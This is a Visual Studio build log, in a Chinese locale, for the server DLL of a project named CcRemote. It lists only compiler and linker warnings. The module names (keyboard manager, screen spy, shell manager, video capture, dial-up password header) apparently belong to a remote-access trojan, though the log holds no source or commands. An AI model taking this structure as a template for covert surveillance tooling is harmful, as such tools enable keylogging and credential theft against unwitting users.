f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(279): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(312): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(312): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(43): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(156): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(156): warning C4309: “初始化”: 截断常量值
|
||||
KeyboardManager.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(33): warning C4018: “<”: 有符号/无符号不匹配
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(307): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(33): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(307): warning C4018: “<”: 有符号/无符号不匹配
|
||||
Manager.cpp
|
||||
RegEditEx.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(10): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(75): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(75): warning C4309: “初始化”: 截断常量值
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(76): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(76): warning C4309: “初始化”: 截断常量值
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(77): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(77): warning C4309: “初始化”: 截断常量值
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(78): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(78): warning C4309: “初始化”: 截断常量值
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(79): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(79): warning C4309: “初始化”: 截断常量值
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(110): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(121): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(122): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(124): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(151): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(10): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(75): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(75): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(76): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(76): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(77): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(77): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(78): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(78): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(79): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(79): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(110): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(121): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(122): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(124): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(151): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
RegeditOpt.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(71): warning C4305: “=”: 从“<unnamed-enum-TRANSFER_MODE_NORMAL>”到“char”截断
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(71): warning C4309: “=”: 截断常量值
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(83): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(55): warning C4101: “DateSize”: 未引用的局部变量
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(54): warning C4101: “Type”: 未引用的局部变量
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(54): warning C4101: “NameSize”: 未引用的局部变量
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(126): warning C4305: “=”: 从“<unnamed-enum-TRANSFER_MODE_NORMAL>”到“char”截断
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(126): warning C4309: “=”: 截断常量值
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(164): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(98): warning C4101: “szKeyName”: 未引用的局部变量
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(106): warning C4101: “KeySize”: 未引用的局部变量
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(182): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(71): warning C4305: “=”: 从“<unnamed-enum-TRANSFER_MODE_NORMAL>”到“char”截断
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(71): warning C4309: “=”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(83): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(55): warning C4101: “DateSize”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(54): warning C4101: “Type”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(54): warning C4101: “NameSize”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(126): warning C4305: “=”: 从“<unnamed-enum-TRANSFER_MODE_NORMAL>”到“char”截断
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(126): warning C4309: “=”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(164): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(98): warning C4101: “szKeyName”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(106): warning C4101: “KeySize”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(182): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
RegManager.cpp
|
||||
ScreenManager.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenmanager.cpp(5): warning C4005: “_WIN32_WINNT”: 宏重定义
|
||||
g:\windows kits\10\include\10.0.17763.0\shared\sdkddkver.h(216): note: 参见“_WIN32_WINNT”的前一个定义
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenmanager.cpp(5): warning C4005: “_WIN32_WINNT”: 宏重定义
|
||||
d:\windows kits\10\include\10.0.17763.0\shared\sdkddkver.h(216): note: 参见“_WIN32_WINNT”的前一个定义
|
||||
ScreenSpy.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(379): warning C4018: “>”: 有符号/无符号不匹配
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(400): warning C4018: “<”: 有符号/无符号不匹配
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(419): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(379): warning C4018: “>”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(400): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(419): warning C4018: “<”: 有符号/无符号不匹配
|
||||
ServerManager.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\servermanager.cpp(291): warning C4102: “defaute”: 未引用的标签
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\servermanager.cpp(291): warning C4102: “defaute”: 未引用的标签
|
||||
ShellManager.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(54): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(59): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
SystemManager.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(137): warning C4018: “<”: 有符号/无符号不匹配
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(228): warning C4101: “cbNeeded”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(140): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(231): warning C4101: “cbNeeded”: 未引用的局部变量
|
||||
VideoCap.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(27): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(27): warning C4309: “初始化”: 截断常量值
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(35): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(35): warning C4309: “初始化”: 截断常量值
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(124): warning C4101: “gCapTureParms”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(27): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(27): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(36): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(36): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(125): warning C4101: “gCapTureParms”: 未引用的局部变量
|
||||
VideoManager.cpp
|
||||
正在生成代码...
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(113): warning C4700: 使用了未初始化的局部变量“NameSize”
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(113): warning C4700: 使用了未初始化的局部变量“NameSize”
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
FileManager.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(213): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(213): warning C4309: “初始化”: 截断常量值
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(247): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(247): warning C4309: “初始化”: 截断常量值
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(291): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(292): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(442): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(617): warning C4307: “+”: 整型常量溢出
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(614): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(260): warning C4715: “CFileManager::OpenFile”: 不是所有的控件路径都返回值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(213): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(213): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(247): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(247): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(291): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(292): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(442): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(617): warning C4307: “+”: 整型常量溢出
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(614): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(260): warning C4715: “CFileManager::OpenFile”: 不是所有的控件路径都返回值
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
dllmain.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\login.h(38): warning C4101: “pEnd”: 未引用的局部变量
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\login.h(103): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\login.h(103): warning C4309: “初始化”: 截断常量值
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\login.h(160): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\login.h(160): warning C4309: “初始化”: 截断常量值
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\login.h(198): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\login.h(198): warning C4309: “初始化”: 截断常量值
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\login.h(225): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(52): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(52): warning C4309: “初始化”: 截断常量值
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(188): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(256): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(257): warning C4996: 'wcstombs': This function or variable may be unsafe. Consider using wcstombs_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\stdlib.h(1015): note: 参见“wcstombs”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(299): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(38): warning C4101: “pEnd”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(162): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(162): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(204): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(204): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(231): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(53): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(263): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(264): warning C4996: 'wcstombs': This function or variable may be unsafe. Consider using wcstombs_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdlib.h(1015): note: 参见“wcstombs”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(294): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(304): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(329): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(358): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(359): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
|
||||
StrCry.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\strcry.cpp(8): warning C4018: “<=”: 有符号/无符号不匹配
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\strcry.cpp(10): warning C4267: “=”: 从“size_t”转换到“char”,可能丢失数据
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\strcry.cpp(8): warning C4018: “<=”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\strcry.cpp(10): warning C4267: “=”: 从“size_t”转换到“char”,可能丢失数据
|
||||
正在生成代码...
|
||||
LINK : warning LNK4044: 无法识别的选项“/Zc:strictStrings”;已忽略
|
||||
正在创建库 ..\..\bin\server\CcMainDll.lib 和对象 ..\..\bin\server\CcMainDll.exp
|
||||
LINK : warning LNK4098: 默认库“LIBCMT”与其他库的使用冲突;请使用 /NODEFAULTLIB:library
|
||||
zlibstat.lib(adler32.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(adler32.obj)”或在“G:\CcRemote\CcRemote\bin\server\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样
|
||||
zlibstat.lib(compress.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(compress.obj)”或在“G:\CcRemote\CcRemote\bin\server\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样
|
||||
